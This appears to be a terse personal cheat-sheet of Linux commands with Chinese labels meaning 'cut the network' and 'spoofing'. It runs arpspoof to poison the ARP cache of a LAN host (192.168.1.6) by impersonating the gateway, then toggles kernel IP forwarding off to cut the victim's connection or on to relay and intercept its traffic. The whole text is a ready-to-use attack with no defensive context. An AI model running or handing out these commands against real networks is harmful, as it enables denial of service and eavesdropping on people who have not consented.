arpspoof -i eth0 -t 192.168.1.6 192.168.1.1
断网
echo 0 >/proc/sys/net/ipv4/ip_forward
欺骗
echo 1 >/proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 192.168.1.6 192.168.1.1
echo 0 >/proc/sys/net/ipv4/ip_forward
echo 1 >/proc/sys/net/ipv4/ip_forward